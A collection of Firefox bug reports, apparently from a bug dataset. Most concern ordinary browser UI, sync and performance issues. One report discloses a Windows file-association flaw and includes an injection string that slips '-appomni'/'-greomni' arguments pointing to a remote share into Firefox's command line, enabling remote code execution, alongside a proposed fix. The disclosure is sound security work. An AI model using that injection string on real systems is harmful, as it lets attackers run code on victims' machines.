av9ash/GitBugs huggingface dataset:
Bug: Address bar doesn't elide origins correctly
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2020-01-01 05:10:54+00:00
Resolved: 2023-06-06 00:44:25+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

(1) Visit https://long-extended-subdomain-name-containing-many-letters-and-dashes.badssl.com/


Actual results:

The URL bar shows the origin elided from the right:
https://long-extended-subdomain-nam...

We all know Firefox can resize and it will save position and will work on that position. If we set it to minimum size we can simply find the result.



Expected results:

The URL bar shows the origin elided from the left:
...many-letters-and-dashes.badssl.com/...

The way Firefox android shows, you can check that.
Bug: "TypeError: info.PDFFormatVersion is undefined" when PDF header is invalid
Status: VERIFIED
Priority: --
Resolution: FIXED
Created: 2020-01-01 18:26:12+00:00
Resolved: 2020-02-06 10:01:56+00:00

When the PDF version cannot be extracted from a PDF file, the PDF can still be displayed properly, but the console contains the following error:

> TypeError: info.PDFFormatVersion is undefined

As a result, such PDF files won't be recorded in telemetry.

To reproduce, edit a PDF file and replace the `%PDF-x.x` part with whitespace. Then open that PDF file in Firefox (with MIME-type application/pdf; either from a server, or just from `file://` ).
Bug: no suggestions while typing in urlbar
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2020-01-01 22:21:53+00:00
Resolved: 2020-01-14 13:08:25+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0

Steps to reproduce:

typed something in urlbar


Actual results:

no suggestions displayed. Even search engines not shown. Absolutely nothing pops down


Expected results:

Suggestions related to typed query should show up
Bug: File association Remote Code Execution via command line parameter injection in Firefox
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2020-01-02 07:54:43+00:00
Resolved: 2024-05-30 17:06:02+00:00

Tested on Microsoft Windows 10 Enterprise version 10.0.17763 Build 17763

Using Firefox version 71.0 (32-bit)

Steps to reproduce (local only):

* Setup Firefox as Windows' default .pdf handler (right click a pdf file -> open with -> chose other -> select always open with Firefox)
* Open the run prompt (windows key + r) and run the following URL:
* \\\\poiu.xss.vg@ssl\a.txt" -appomni appomni.pdf -greomni \share\greomni.pdf

Steps to reproduce (via MS Excel):

* Setup Firefox as Windows' default .pdf handler (right click a pdf file -> open with -> chose other -> select always open with Firefox)
* visit https://poiu.xss.vg/oausdhvjzlxkcn/poc.html (this will open a CSV file in excel)
* Click the link in the excel document.
* Open the greomni.pdf file

Expected Result: Firefox ignores the shell activation command as additional command line arguments are present.

Actual Result: Firefox accepts the command and runs using the greomni and appomni files from the internet share.

Detailed Information:

This issue is very similar to bug 1530103 and bug 384384 except that it is by file type association as opposed to protocol association.

In Windows, it is possible to inject arbitrary arguments when Firefox is setup as the default file handler for any file type other than .html. This can result in remote code execution when the 'greomni' flag is injected. 

The attack vector is having a victim activate a URI using the file protocol (file://) or open a file in explorer where the file type's default handler is Firefox and there are double quotes in the path of the file. One way of fixing this issue is to add the 'osint' flag to the following registry key:

HKEY_CLASSES_ROOT\applications\firefox.exe\shell\open\command 

i.e. change:

* "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" "%1"

to

* "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"  -osint "%1"

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected when Firefox is activated via the Windows registry. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archive. This is the same as discussed in bug 1530103.

Although it shouldn't be possible to inject double quotes in a file path in windows as the double quote character is illegal in a file path, Microsoft has confirmed that they won't be fixing this issue (https://www.zerodayinitiative.com/advisories/ZDI-19-1023/)

Credit:

Joshua Graham of TSS
Bug: login button on faq page is not working
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-01-02 10:11:03+00:00
Resolved: 2023-07-30 20:18:55+00:00

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Firefox for Android

Steps to reproduce:

1.login to snapdeal
2.opened past orders
3.went to help center and clicked on login button



Actual results:

button did not work(was not clickable)


Expected results:

login page should have popped
Bug: dropdown list in search menu does not appear
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-01-02 10:45:21+00:00
Resolved: 2020-02-13 16:04:38+00:00

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Firefox for Android

Steps to reproduce:

go to search bar
enter the product to be found 
drop down list do not appear


Actual results:

drop down list not appeared


Expected results:

drop down list should appear
Bug: right click context menu displaying in first screen while window in second screen
Status: NEW
Priority: --
Created: 2020-01-02 12:46:36+00:00
Resolved: 2023-01-23 19:19:13+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

1-Open Firefox in 2nd monitor display screen (external monitor).
2- Right click mouse while in 2nd monitor somewhere on a web page
3-displays context menu as usual
4-Right click mouse while still in 2nd monitor somewhere on same web page
5-displays context menu in first monitor display screen (laptop).


Actual results:

Displays context menu in first monitor display screen (laptop).
image attached


Expected results:

1- Right click mouse while in 2nd monitor somewhere on a web page
2-displays context menu as usual in mouse pointer same place
Bug: Inefficient z-ordering of elements in the browser UI, causes large layers with current WebRender heuristics
Status: RESOLVED
Priority: P3
Resolution: INCOMPLETE
Created: 2020-01-02 13:46:45+00:00
Resolved: 2024-06-28 09:36:11+00:00

Steps to reproduce:
 1. Be on macOS.
 2. Enable the prefs `gfx.webrender.all`, `gfx.webrender.compositor` (requires restart), and `gfx.core-animation.tint-opaque` (restartless).
 3. Pay attention to the amount of redness on the screen.

Expected results:
The active tab and the back button should be drawn into the same red layer as the rest of the chrome.

Actual results:
The active tab and the back button are drawn into another red layer that goes on top of the rest of the chrome. When the statusbar appears (when a link is moused over), there's a big red layer that covers the majority of the browser window.

Most of the browser chrome is "behind" the content area, in z-order. Elements that are "in front" of the content area, in z-order, go into a separate layer. (The fact that these elements don't overlap the content area is not taken into account by WebRender, and we should keep it that way.)

We should apply some z-index declarations in browser CSS, so that we have the following order:
 1. Bottom layer: The window background and all elements in the browser chrome that do not overlap the content area. This should include the active tab and the back button.
 2. Middle layer: The `<browser>` for the tab contents
 3. Top layer: Elements from the browser chrome that can overlap the tab contents, such as the focused URL bar and the URL bar autocomplete dropdown.
Bug: pages with unsaved data should not be closed by middle click on their tab
Status: NEW
Priority: P5
Created: 2020-01-02 14:46:03+00:00
Resolved: 2023-03-13 14:15:22+00:00

User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

I am using Linux

1. Type some text into a page text box.
2. Click once on the page tab. A dialog box appears "This page is asking you to confirm that you want to leave - data you have entered may not be saved.".
3. Click once more on the tab and the page closes.


Actual results:

On the second click, the page closed ignoring the apparently blocking dialog and loosing the information I typed into the text box.

For my particular use cases, I use middle click to remove a collection of consecutive unused pages. To do this, I rapidly middle click on the tabs. With the current behavior, I close pages that have un-sumitted text.


Expected results:

Middle clicking on a tab that has a dialog box "This page is asking you to confirm that you want to leave - data you have entered may not be saved." should do nothing.
Bug: Dragging a folder shortcut on the toolbar duplicates the shortcut
Status: NEW
Priority: P3
Created: 2020-01-02 16:54:34+00:00
Resolved: 2022-10-11 23:48:04+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0

Steps to reproduce:

I had sync on, so my mobile bookmarks synced into PC firefox.
The mobile bookmarks is listed under "other bookmarks" in the PC.

So i dragged and moved it into the "bookmark toolbar" to re-arrange the bookmarks.
But i had too many bookmarks in the toolbar, so some are truncated (inside the arrow).

I dragged the folder from arrow subsection to toolbar again to bring it in front, and send other bookmark (whichever bookmark in last, before arrow) into that section (truncated section).

But instead of putting the mobile bookmark folder in the toolbar front, the folder got replicated.


Actual results:

The bookmark folder got replicated instead of getting moved (re-arranged).


Expected results:

The bookmark folder should have re-arranged.
Bug: Searching for a page in the address bar or history sidebar should ignore diacritics
Status: RESOLVED
Priority: P3
Resolution: FIXED
Created: 2020-01-02 21:37:42+00:00
Resolved: 2020-02-28 09:18:15+00:00

Steps to reproduce:

1. Visit https://ca.wikipedia.org/

2. Type "viquipedia" in the address bar

Expected results: https://ca.wikipedia.org/ should appear

Actual results: https://ca.wikipedia.org/ does not appear
Bug: Twitter scrolling and page movement lags and performance is impacted
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-01-03 06:17:55+00:00
Resolved: 2022-03-02 16:35:57+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0

Steps to reproduce:

1. Open and log-in to Twitter
2. Scroll the timeline, hover over profiles, click through to tweet-threads, etc.

Additional information:
OS: macOS 10.15.2 Catalina
Processor: 2.6 GHz 6-Core Intel Core i7
16GB memory

I've included a memory report just in case as well. I have tried it on a fresh profile as well, though not in a nightly build, only the beta.


Actual results:

FPS drops occur, the page is overall laggy, and CPU usage spikes.


Expected results:

Twitter should be responsive and fast as it is on Chromium-based browsers and Webkit Safari.
Bug: First run page suggests signing in when you already are, and accounts.firefox.com doesn't indicate you already are logged in
Status: RESOLVED
Priority: P2
Resolution: MOVED
Created: 2020-01-03 09:06:53+00:00
Resolved: 2020-09-10 01:51:03+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

1. I reinstalled Firefox because it crashed every time I tried to open it
2. Firefox asked me to have a "fresh start" so I clicked it
3. Firefox asked me to login to Firefox so I clicked it
4. Then I added Lastpass to Firefox because I didn't know the password to my Firefox account
5. Lastpass didin't seem to wok so I closed Firefox
6. And was loged in when I started Firefox again



Expected results:

I expected to not be loged in after restart of Firefox. Maybe this has something to do with the old data after reinstalling Firefox?
Bug: Do not allow more than one simultaneous "open external protocol" dialog to appear per originating tab
Status: RESOLVED
Priority: P3
Resolution: FIXED
Created: 2020-01-03 10:17:01+00:00
Resolved: 2021-01-06 02:04:04+00:00

**Affected versions**
- Firefox 68.4.0esr
- Firefox 70.0.1
- Firefox 72.0b11
- Firefox 73.0a1

**Affected platforms**
- Windows 10 & 7
- macOS 10.15

**Steps to reproduce**
1.  Open the following [link](https://outlook.live.com/people/0/) and login with valid credentials
2. If not available, create a new contact and add a phone number to it
3. On the newly created contact, click on the phone number

**Expected result**
- An external application window requesting the user to choose is shown

**Actual result**
- Two windows will appear, requesting the same action

**Regression range**
- I will see for a regression, if there is one.

**Additional notes**
- The actual issue can be seen in the attachment.
- On Ubuntu 18, a request to launch an external application will not appear, instead a page stating that "The address was not understood" will appear.
Bug: Right-clicking on edges of the expanded MegaBar gets the toolbar contextual menu, not the address bar one
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2020-01-03 12:19:39+00:00
Resolved: 2020-03-19 14:59:34+00:00

STR

1. Turn on the bookmarks toolbar.
2. Click on the address bar to focus it and cause it to expand.
3. Decide you're going to paste something, but in the meantime you've moved the mouse down slightly but not off the expanded bar.
4. Right-click and go to select paste.

Actual Results

The toolbar bar context menu was shown and the bookmarks toolbar got disabled (because I did it too quick to realise).

Expected Results

The address bar context menu should have been shown and paste should have been selected.

This also occurs on the top and side edges.
Bug: Opening folder from bookmark bar closes two of four bookmarks
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2020-01-03 13:09:06+00:00
Resolved: 2020-01-03 13:17:08+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Steps to reproduce:

I have on my bookmark bar a folder, with 4 items in it.
i open this folder and select 'Open all in tabs'

https://community.ui.com/tags/unifi-wireless
https://community.ui.com/tags/beta:unifi-wireless
https://community.ui.com/tags/unifi-routing-switching
https://community.ui.com/tags/beta:unifi-routing-switching


Actual results:

4 tabs are opened, and then one/two of them are closed again before loading finishes or even before I've had a chance to look at them.


Expected results:

4 tabs should remain open.
Bug: JavaScript error: resource://gre/modules/PushDB.jsm, line 414: Error: Record ? does not exist
Status: RESOLVED
Priority: P3
Resolution: INCOMPLETE
Created: 2020-01-03 19:35:41+00:00
Resolved: 2020-10-09 03:10:06+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0

Steps to reproduce:

- Re-install Firefox Nightly
- Configure Sync
- See Errors

```
JavaScript error: resource://gre/modules/PushDB.jsm, line 414: Error: Record 0fc4cbcc-cb21-4f8b-b19a-da3bce18b8d7 does not exist
```





Actual results:

Errors:

```
1578068234448	Sync.AddonsReconciler	INFO	Registering as Add-on Manager listener.
1578068234448	Sync.AddonsReconciler	DEBUG	Adding change listener.
1578068234450	FirefoxAccounts	TRACE	not checking freshness of profile as it remains recent
JavaScript error: resource://gre/modules/PushDB.jsm, line 414: Error: Record 0fc4cbcc-cb21-4f8b-b19a-da3bce18b8d7 does not exist
JavaScript error: resource://gre/modules/PushDB.jsm, line 414: Error: Record 0fc4cbcc-cb21-4f8b-b19a-da3bce18b8d7 does not exist
{}
1578068239451	Sync.Service	DEBUG	User-Agent: Firefox/73.0a1 (Linux x86_64) FxSync/1.75.0.20191217161753.desktop
1578068239451	Sync.Service	INFO	Starting sync at 2020-01-03 13:17:19 in browser session 06Tm6orSJVql
1578068239451	Sync.Service	DEBUG	In sync: should login.
1578068239452	Sync.Service	INFO	User logged in successfully - verifying login.
```



Expected results:

No errors. Thanks!
Bug: Downloads hang in Firefox
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-01-03 20:04:58+00:00
Resolved: 2020-01-23 09:26:37+00:00

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

Go to a Google Drive link on the internet
Download five or six large files over 5 GB


Actual results:

After some minutes, most of the downloads hang. There is absolutely zero progress despite the fact that they all say ≈800 kb a second. These downloads will hang for eternity until you pause them. When you resume download, they always instantly fail. Upon hitting the little curved arrow retry button, the downloads will continue but they will always hang with no progress yet again after a few minutes. Repeat, repeat, repeat, to infinity and beyond. 


Expected results:

The downloads should not hang nor should they fail, especially when there is nothing wrong with my internet and browsing is unaffected
Bug: bookmarks are disabbled
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2020-01-04 02:51:07+00:00
Resolved: 2020-05-02 19:17:31+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

Since the installation from the last version (71.0) of FireFox at the beginning of december 2019.


Actual results:

My bookmarks, an directorys of bookmarks, are empty.
And if I want to restaur one of the proposed folder from my precedent bookmarks, via Firefox, Firefox indicate that he can't treat this folder ; the Firefox bookmarks folder...


Expected results:

To list all my bookmarks folders and directorys
Bug: Cannot select existing tags when saving to pocket list
Status: RESOLVED
Priority: P2
Resolution: WONTFIX
Created: 2020-01-04 15:17:13+00:00
Resolved: 2021-04-05 15:22:23+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Steps to reproduce:

Click "Save to Pocket" arrow icon in address bar.  Enter text in field "Add tags".


Actual results:

I can type in a new tag normally....however....what if the tag already exists?


Expected results:

In previous versions of Firefox, when entering text in field, the application would locate previously created tags and allow you to select the tag (thereby avoiding duplicate tag creation).  This function is no longer working.   When i type in a tag name, Firefox no longer presents a list possible matches from existing tags
Bug: Nightly 72.0a1 to 73.0a1 update doorhanger loop despite fresh download
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2020-01-04 15:25:59+00:00
Resolved: 2020-01-08 13:38:40+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0

Steps to reproduce:

Been using Nightly for some years now, and managed to resolve most issues (minor or significant) through switching to a new profile and/or downloading a fresh copy of Nightly.  I've missed almost 2 weeks of updates due to the holiday period

Firefox channel: Nightly
Firefox version: 73.0a1
Firefox Build ID: 20200102094341
Environment: Arch Linux Hardened (5.3.15.a-1-hardened)
Desktop: Gnome 3.34.2

Menu >> (Top status message: "Download a fresh copy of Nightly")

1. Navigate to https://www.mozilla.org/firefox/channel/desktop/
2. Select Download for the Nightly version
3. Expand download local tar.bz2 file using Archive Manager [I perform this inside the "Downloads" directory]
4. Delete legacy "Firefox" directory [in my case this is held inside my Documents directory]
5. Rename fresh Nightly "Firefox" directory to "firefox-nightly"
6. Move directory from Downloads to Documents
7. Desktop file and hidden directories like ".mozilla" remain as before


Actual results:

If I simply restart Nightly, it continues to show this version needs updating. If I navigate to a new webpage the Restart splashpage drop in to encourage you to immediately restart. 

Performing either method, using my everyday profile, I cannot seem to break out of this loop. About:Nightly, in both instances, shows the currently legacy version. About:Support shows 20200102094341 as the Build ID.

When using a fresh profile there is no warnings, and the browser appears to run the expected fresh version (73.0a1). About:Support shows Build ID as 20200103202240.


Expected results:

This update process should run near automagically. I suspect the profile has somehow corrupted, so will now:

About:Support >> Refresh Nightly
Bug: Extension recommendation on YouTube despite the fact that I disabled these recommendations
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2020-01-04 16:19:44+00:00
Resolved: 2020-01-14 13:14:01+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0

Steps to reproduce:

Extension recommendations appear sometimes (once a day?) on YouTube despite the fact that I disabled these recommendations.


Actual results:

I saw extension recommendation.


Expected results:

There have to be no extension recommendations.
Bug: tab-crash page needs Submit button or label
Status: UNCONFIRMED
Priority: P5
Created: 2020-01-04 18:33:19+00:00
Resolved: 2023-03-06 23:02:10+00:00

In Firefox 71.0, I visited a certain Web page. In a few seconds, the page crashed the tab, although not the whole browser. The tab replaced the downloaded page with a page saying, near the top, "Gah. Your tab just crashed."/"We can help!" and titled (in the tab and the tab's tooltip) "Tab crash reporter". I wanted to report the crash. The only two buttons FF offered said "Restore This Tab" and "Close Tab". It's not clear which button reports the crash; both are plausible. While "Send an automated crash report so we can fix issues like this." when checkmarked (which it is by default) would seem to mean that either button would send the report, because it says "automated" whereas clicking the button implies manually rather than automatically, it seems that the checkmark applies only to future crashes. I clicked to restore, which did not confirm a submission or its receipt, so I still don't know if Mozilla got the report. (I suppose I could have revisited the page, gotten another crash, and then clicked the other button and then I could assume that Mozilla got the report one way or the other, but the reason for a crash may lead us to hesitate to visit a page too often given a risk, e.g., if hosting malware.)

(Note: The page that caused the crash in FF 71.0 on Fedora 31 did not cause it with FF 71.0 on Ubuntu 18.04.3 LTS and the owner of the page said they set up Fedora and FF on a virtual machine and had no problem, so I'm not pointing to the page causing the crash on one machine (although on different networks) (probably not reproducible by most other people) but to FF's response.)

FF's page did not have its own URL. The URL was that of the page producing the crash.

Suggestion: Edit the label on whichever button we should use to add "and Submit" or add a dedicated Submit button (preferably with confirmation but even just the button would be useful).